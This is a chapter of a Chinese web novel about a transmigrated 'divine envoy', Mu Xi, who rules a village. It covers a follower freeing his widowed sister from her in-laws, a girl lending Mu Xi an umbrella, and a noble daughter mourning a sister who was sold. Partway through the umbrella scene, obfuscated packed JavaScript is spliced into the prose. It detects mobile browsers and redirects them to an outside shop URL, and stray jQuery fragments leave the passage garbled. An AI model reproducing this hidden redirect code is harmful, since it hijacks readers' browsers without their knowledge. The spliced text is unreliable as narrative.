24.今日无事

作品:《从名著路过[基建]

    雄鸡一声高唱,自诩唤醒天光,抖擞翎羽,精神矍铄的在鸡圈里,巡视着自己的妃妾。


    母鸡们也陆续从窝里出来了,姿态疏懒,公鸡以优雅的姿势在鸡圈里转悠,一会给这个梳梳毛,一会给那个让只虫子。


    母鸡们的羽毛蓬松的像是搓开的棉花球,小鸡们叽叽喳喳的跟着自己的妈妈,一群家禽在鸡圈里,也硬生生的闹出了锣鼓喧天的姿势。


    “砰砰—”


    有点沉闷的铜环拍门的声音,伴随着稀里哗啦的铁链的声音。


    “谁啊…”


    “我…”


    冷蝴走过去开门。


    安耀祖见了人,心里惊诧,但是面上没什么表现,带着殷勤热切的笑,一个劲的往里头搬礼品。


    脸上的笑都没停过。


    是个聪明人,看冷蝴的眼神没什么冒犯的地方,视线也很规矩。


    身后跟着几个相对来说年龄小点的小子,大概十五十六岁,个子不高,比较瘦,有点营养不良的样子,应该是小时候少了油水,发育有点问题,大致只有一米六多,看着很干净,现在的天气可冷,一般人是不会费柴火去烧水洗澡的。


    不知道他们是怎么收拾的。


    也是有心了。


    冷蝴的笑带着一点真切的意味。


    “跟我来吧。”


    木溪看着下方几个人给自己一脸恭敬狂热的鞠躬,心里多少还是觉得难绷。


    本来的礼节是跪拜的。


    但是木溪是谁啊,一个现代人。


    哪能接受下跪。


    但是礼不可废,礼仪本身就是最好的,划分阶级,显示出上位者威严感的工具。


    所以木溪综合了一下。


    直接鞠躬吧。


    现在主事的人是羽时茧,也不知道她怎么安排的,时不时就会有些人来到这个小院子,一脸狂热的鞠躬,走的时候脚步轻快,脸上的笑容怎么都盖不住。


    不过木溪也很不在意就是了,能增进对她所在的这个势力的认同感,有凝聚力就行了,这个时代的人在想什么,还是不要过分探究了吧。


    她挨个看了看几个人的好感度,心里多少也没什么波动,不出意外,好感度没满,但是也挺高的了,人均八十往上,只有眼前这个领头的,叫安耀祖的,在带兵这方面有点天赋。


    木溪把信息记在心里,等下人走了她得写个档案,让羽时茧安排。


    安耀祖走出那个神秘的小院子的时候,浑身都难掩意气风发。


    谁都知道。


    在这方圆几千里,那个小院子是绝对的权利中心。


    他吐出一口气,多少有点唏嘘,谁又能想到,他们这鸟不拉屎的偏僻地方,会来那么一个残忍暴虐的县令,贪婪无度,肆意妄为,逼得自己的奴仆都活不下去,被摘了大好头颅呢。


    谁又能想到,他们这些什么都没做的良民,为此背上了谋反的罪名呢?


    上面的大人物打来打去,打到大道都磨灭了,互相安排罪名的不亦乐乎,他们这些小民就是脚底的泥,看一眼都嫌脏,一脚踩死都不知道什么时候落地生根,再生出一大片,供那些权贵驱使。


    唉,身为草芥啊,心如浮萍啊。


    不过安耀祖想到神使,想到因为神使的到来,丰产的良田,锋利先进的武器,心头又火热滚烫了起来。


    “祖宗保佑啊,这波我是真耀祖了。”


    不过他还有个事得去办。


    安耀祖生在一个普通家庭,家里有三个姐姐,盼娣,来儿,婷婷。


    很有重男轻女的意味。


    其中盼娣老实,来儿冷漠,婷婷性格最暴躁,跟安耀祖关系最差,安耀祖小时候,爹娘不在的时候,还老挨三姐的打。


    他一想到小时候,三姐骗自己吃鸡屎就忍不住面部抽搐。


    安耀祖也没想到,到头来,这个三姐是帮他最多的。


    到地方了。


    他看着富丽的大门,深吸一口气。


    “三姐,我来救你出来。”


    事情很顺利,他手里有人,得了那个人的任命,一身衣服穿的鲜亮。


    一看就知道是科学教的信徒。


    那家人虽是富户,又怎么敢惹有兵的势力呢,虽然是娶媳妇来守活寡的,但女人这种东西,多的是,再买个命格相合的就是了,何必再惹阎王爷的眼呢。


    安婷变了,安耀祖一见姐姐,眼眶一热,几乎要认不出来,小寡妇一身白,人瘦的不行,一张脸下巴尖尖的,眼皮下面是青灰色的眼袋,走起路来,轻飘飘的,像人多过像鬼。


    他很多年没有见过姐姐了。


    这家人不愿意叫她跟亲人见面,也不认他们是亲家。


    安耀祖见了她这样,也不恨她在小时候折腾自己的事情了。


    没想到离了那吃人的地方。


    安婷眼皮一抬,立马有了点鲜活的神气:“呦~真光宗耀祖了?”


    安耀祖见了,心里虽然心疼,但也松口气,他可真不知道怎么跟这个嘴上不饶人的姐姐说安慰的话,当下就显露出骄傲的姿态:“那是~”


    安婷听了,上下打量,脸上露出一个带着满意的笑容:“没白为了你,进那狼窝。”


    安耀祖听了心里有点难受。


    唉,他小时候闹着要去跟师父学武,那会确实也有个师父,人也有本事,他还不懂事,哪知道学武要吃肉吃米,要卖了自己的亲姐姐呢。


    大姐早就嫁给了一个木匠,二姐也嫁的远,父母无颜去叨扰,只好在三姐的婚事打主意。


    他还记得婚事定下的那一天,三姐冲过来打的那一巴掌。


    年幼的安耀祖只知道姐姐的巴掌打的人脸疼。


    长大的安耀祖才明白,为了他的利益,牺牲的是姐姐一辈子的人生。


    好在,他现在有补救的机会。


    安耀祖拿出一个盒子,上面上了好漆,打开一看,一对细细的,像麻线一样细的金镯子,静静的躺在那,闪着夺目的光辉。


    安婷这下有点惊讶了。


    “那科学教,竟然这么富裕?”


    安耀祖没好意思说是自己省吃俭用,不敢乱花钱省出来,显得好像他在装可怜,他是个男人,不会说撒娇感谢的话,但他心里是认这个姐姐的。


    于是只闷头道:“上头赏的,还你的嫁妆。”


    安婷听了,眼神终于有了大的变化,语气也没有那么尖锐,脸上的笑也微微收敛:“你倒是变了很多,不像小时候,脸上拖着鼻涕…”


    安耀祖闷头听着。


    赶车的是他的发小。


    听见里头传出来的絮叨,心里飘到了天上去,他是安耀祖的好兄弟,知道他有多看重这个姐,听见两人说话,心里也觉得高兴。


    因为重逢想说的话太多,长路也变成短路了。


    一到家门口。


    安婷看看这边,看看那边,不太敢认。


    别家七八年,重逢的时候,也有许多的东西物是人非,小时候常常蹦起去够的枣树已经长的老高,左下角的黄艳艳的野菊不知道什么时候消失,一朵朵月季开的热闹,小时候常去洗衣服的溪边,也不知道什么时候少了一丛丛的水莲,多了一缕缕的水草,和彩色的浮萍。


    刚开口,乡音未改,铜镜照娇容,鬓角未衰。


    只是不见那一脸倔强的乡野丫头。


    只见满脸顺从娴静,惯用面无表情来表明自己心如死灰的脸。


    不知何时,泪落满脸。


    一时间泣不成声。


    安耀祖的兄弟知道的老大的姐姐回来了,一家人有的聊,都识趣的走了。


    只剩下他们一家人。


    安耀祖在院子里听见了屋里三姐的哭声。


    也没有进去,转身去了厨房。


    姐姐走的时候家里穷,吃的都是糊糊野菜之类的东西,从不知道姐姐喜欢吃什么。


    现在姐姐回来了,他会些厨艺,做了个糖水冲鸡蛋。


    现在的人朴素的认知就是,没有人不爱吃糖的。


    不知道哭了多久,收拾好自己出来的安婷看见安耀祖转身就走。


    过一会,端来了一大碗有七八个鸡蛋的糖水。


    她有些疑惑。


    眼皮还有点沉重的酸涩感。


    安耀祖言简意赅:“回家快乐。”


    “以后我养你。”


    安婷用筷子戳着碗里的鸡蛋,吃进嘴里,滑嫩的蛋白,细腻的蛋黄,甜蜜的滋味,叫她心头一酸,不由得又落泪。


    直到全家人都回来了。


    她才恍然。


    下意识用手掐着自己的大腿根。


    以前这样掐自己,是因为面对羞辱无能为力,只能依靠疼痛冷静。


    现在掐自己,是因为害怕只是在祠堂跪久了,被迫思念从没见过的亡夫,昏倒之后做的梦。


    …


    呀—好痛。


    幸好…


    不是梦。


    幸好。


    —


    呀~终于写完了!


    木溪伸了一个懒腰,她很有自知之明的,从来都不指望自己能做好内政,上位者主打一个知人善用,合适的人放在合适的地方,木溪自觉有金手指还是能协调好的。


    有一说一,如果刘禅能看见臣子属性版面,也不至于就指着出师表了。


    姜维也不至于死战之后傻眼。


    木溪干完活,照例是要在村子里转一圈的。


    她出门的时候,经常有隐晦的视线在她身上略微停滞。


    经常有人在老远的地方就鞠躬。


    这个村子的人员构成也被调整过了。


    只有绝对的死忠才能住在木溪附近。


    可以说都是只能依靠木溪的绝对嫡系,绝对的铁石一样的基本盘。


    木溪散步的时候,心情特别愉快,她最开始走在村子里,人人脸上都没什么笑脸,也瘦的厉害,路上看不见什么年轻的女人或者小女孩,只有一些家境相对好的顽童,一群男孩子,在到处跑,手上抓着被弹弓打下来的鸟雀,不太有鲜活气。


    现在却大不一样了。


    小孩的脸有了红扑扑的光泽,女人们并不一味的干瘦和佝偻,绝望不再像苍蝇和蚊子一样缠绕着路人的脸庞,天上飞着的青云是聚集的蚊虫,是细雨的前奏。


    突然…


    一滴雨落在了木溪的脸上。


    她想到了一个词,无相之风。


    雨噼里啪啦的落了下来。


    于是木溪顶着满天的细雨,浓墨一样的黑发,慢条斯理的往家的方向走。


    突然,头顶斜了一柄油纸伞。


    沙沙的雨声像春蚕。


    这是一个木溪从没见过的女孩。


    有张苹果脸。


    不太好看。


    笑起来有种笨拙的傻气。


    木溪有些对陌生人的靠近自己的警惕,弱气的说了一声谢谢。


    突然就弹出来了一个新的词条。


    【雨中女郎:你走在雨里,如沐华光,雨也避你,怕折损你的荣光。】


    木溪其实可以看面板的。


    但是她忍住了。


    她问:“你叫什么?”


    “林妮”。


    木溪很郑重的点头:“我记住你了。”


    对面的女孩子好像并不明白,被实际的掌权人问名字,强调记住了自己,是怎样的一种意味。


    她脸上带着一种由青春和稚嫩的混合的傻气,晕乎乎的说:“神使,神使记得我了…”


    木溪想捏捏她可爱的小脸。


    又觉得动手动脚,不尊重人。


    她说:“吃饭了吗,我请你吃饭。”


    对面的女孩子,又傻乎乎的说:“没有。”


    然后似乎反应过来什么了。


    一双黑白分明的眼睛,猛地睁大,然后惊恐的摇摇头:“不用了,不用了。”


    然后把伞塞到了木溪手里。


    像是一阵风一样,往左边的一个方向跑了。


    木溪都有些傻了。


    看看手里的油纸伞。


    又看了看她跑步的速度。


    心说:“追上去别给孩子急出个好歹。”


    失了伞。


    细雨如绵,落在身上,有种被软针扎了一下的感觉,不痛,只是细细密密的冷,身上很热,一阵阵泛起的温度,浑身都热乎的,心脏滚烫的,疯狂蹦跳的。


    林妮蹲在地上,喘了半天,这才站起来。


    心跳的如同鼓一样。


    “神使跟我说话了!”


    这个傻气的孩子,第一反应还是晕乎乎的循环这个想法。


    “诶,这傻孩子,你的伞呢?”


    林妮的娘,发现自己的小孩一进门就浑身带着水汽,黑黄的头发上沾着晶莹的露珠,一张苹果小脸都比平时水润。


    皱了眉。


    林妮平时看见自己娘这个表情,就要跑了,但是今天就好像是一只喜鹊似的,嘴巴里叽叽喳喳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882453|190767||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的重复。


    “伞给神使了…”


    “给神使了也不能…伞多贵啊!”


    咣当!


    “你说什么!”


    林妮的娘有点急了:“你这死丫头,怎么不拿把新伞。”


    林妮有点委屈:“我不知道呀。”


    过会她又傻乎乎的嘿嘿的笑起来:“神使还问我的名字,我说我叫林妮。”


    她娘的眉毛竖了一会,又和缓起来。


    找了几块干布 。


    像擦小猫身上湿漉漉的毛发一样。


    解开了林妮的头发。


    一点一点的擦干。


    嘴上絮絮叨叨的:“你这丫头,要是生病了怎么的了啊”。


    林妮靠在阿娘的怀里,像靠着自己的心脏一样,只感受的到砰砰跳和热气,还有浓浓的依赖。


    她娘好像发现了自己的崽的心不在焉。


    于是也不再说话,只是找来了干爽的衣服,叫这个讨债鬼赶紧穿上。


    又跟被狗撵了一样,跑去做饭了。


    甚至是小跑。


    林妮就像是什么事都没有一样,趁着娘不在,从家里放零食的木罐子里,不动声色的掏一大把,然后警惕的观望四周,默不作声的往嘴里塞。


    桌子下面,有只小老鼠,站起来,看了看林妮的脸,又发出了一连串的吱吱声(找到了。)


    信号发出。


    不一会。


    一把油纸伞被老鼠们带了过来。


    光明正大的放在了显眼的地方。


    还有木溪写的纸条:“谢谢你的伞。”


    —


    入夜…


    水…


    很多的水,一个女人的脸。


    还有姐姐,姐姐为什么长在那个女人的身上。


    谢心柔陷入了梦魇,她挣扎了好久才猛地从床上坐起来。


    像是挣脱了丝线的蚊虫。


    大口的喘着气。


    屋外的丫鬟小心的问:“姑娘怎么办了?”


    谢心柔抚着狂跳的心脏。


    稳了稳声,说道:“没事。”


    丫鬟们又不动了。


    谢心柔感觉脑袋一阵一阵的发晕,心中似惧,似念:“姐姐,是你吗?”


    什么都没有发生。


    谢心柔,叹气的时候又觉得松口气。


    —


    窗外有鸟雀惊飞,乌鸦啼叫,如雾烟一样的愁云轻飘。


    让谢心柔回忆起。


    姐姐谢心慈被送人的那天。


    她想到这里,痛苦的闭上眼,心中的情绪却越发翻涌,无法抑制。


    她的眼神看向了自己的手,一边回忆,一边咬自己的手。


    幸好痛觉是正常的,幸好痛苦正常,不然那些翻涌的酸涩的仇恨的压抑的情绪,要怎么压下去呢?


    姐姐,一直都是一个孝顺爹娘的好女儿。


    比自己更符合闺阁的女儿的形象。


    还记得小时候,谢心柔一直很不贫弟弟受到的优待。


    这事不知道为什么,被谢心慈知道了。


    谢心慈把她叫去谈话。


    听完了谢心柔的抱怨。


    突然就冷下了脸。


    把谢心柔的丫鬟拽了过来。


    冷声说:“杀了她”。


    还是小孩的谢心柔吓呆了,像是从没认识过姐姐一样,一脸惊恐的看着她,就看见姐姐总是泛着柔和的笑意的眼睛冷淡了下来:“你不肯杀,你说的话就是在害人啊。”


    谢心柔小声的反驳:“我说的又没错,都是爹娘的孩子,凭什么儿子才能继承家业呢…?”


    谢心慈露出了一个嘲讽,凉薄的表情:“所以呢,你要传出去让其他人觉得谢家教女无方?”


    “你要害你的其他姐妹?”


    谢心柔白了脸,她知道姐姐的意思了。


    后来,她就很怕谢心慈。


    但是她也承认她,承认她聪明,承认她冷酷,承认她比任何女子都适合当一个新娘子。


    她一直觉得,谢心慈那种人是宅斗胜利者。


    她没想到。


    会因为一个荒谬的八字,丢掉性命。


    那天晚上爹娘开怀畅饮,说着家里要大变样了。


    过一段时间。


    果然。


    家里多了婢女,多了绸缎,多了田宅。


    唯独少了…


    谢心柔的眼睛在流泪,牙齿咬着自己的手上的皮肉,心里的愧疚几乎是要把她淹没。


    她也在跟着爹娘,喝血吃肉啊。


    她身上盖着的锦被,料子极其好,是姐姐走前买不起的。


    没过多久,谢心柔冷静了下来,她也不能不冷静,如果明天她的手上,如果出现了伤口的话。


    只要被爹娘看见,爹娘只会怪伺候她的丫鬟不尽心,而并不会苛责于她。


    她不想害了丫鬟,但是她日日痛苦,她不知道应该做什么,只能期望姐姐虚无缥缈的鬼魂把苟且偷生的自己带走。


    月光打在谢心柔的身上,照出她皮包骨头,如同骷髅一样的身躯她已经很多天没有好好吃饭了,身体极度的轻减,让她时常有一种身轻如燕的幻觉 ,而这种幻觉,也正使得她对生活的信心消失的极其快速。


    不过好在谢心柔的姨娘并不止她一个女儿,所以并没有发现她逐渐轻减,相反,还欣喜于她变得身轻如燕,长得更好看了些。


    哭着哭着,谢心柔哭麻木了,她想她应该也会被卖个好价钱吧,后来的人,也会像她哭姐姐一样哭她吗?


    谢心柔不知道。


    就如同她并不清楚,她到底是在悲伤于姐姐的命运,还是在悲伤自己一样。


    有穿堂风自走廊吹过,有雨水透过雨铃往下滑,鲜艳的芍药怒放,金色的秋桂吐暗香,更有海棠沾露,莲花含苞 ,金丝楠木做栋梁,处处高朋满座,杯杯金樽斟满美酒,有胡姬舞剑,有请客说笑话,还有善卜算的人在其中花言巧语的哄主家开心。


    谢家主笑得连嗓子眼的小舌头都能叫人看得见,身上的衣衫极尽奢美华丽,头上的珍珠大如鸡卵,春风得意极了。


    另一边的厢房里烛火悠悠,豆大的灯火不停的明灭闪烁,姨娘打着算盘,夫人坐在一旁盘帐,这俩人都不深爱谢家主,于是年深日久,别有一番姐妹的情谊。


    偶尔聊聊天,彼此之间也会快活的笑上两声。


    下人们也悉悉索索的各干各的。


    什么都没有发生。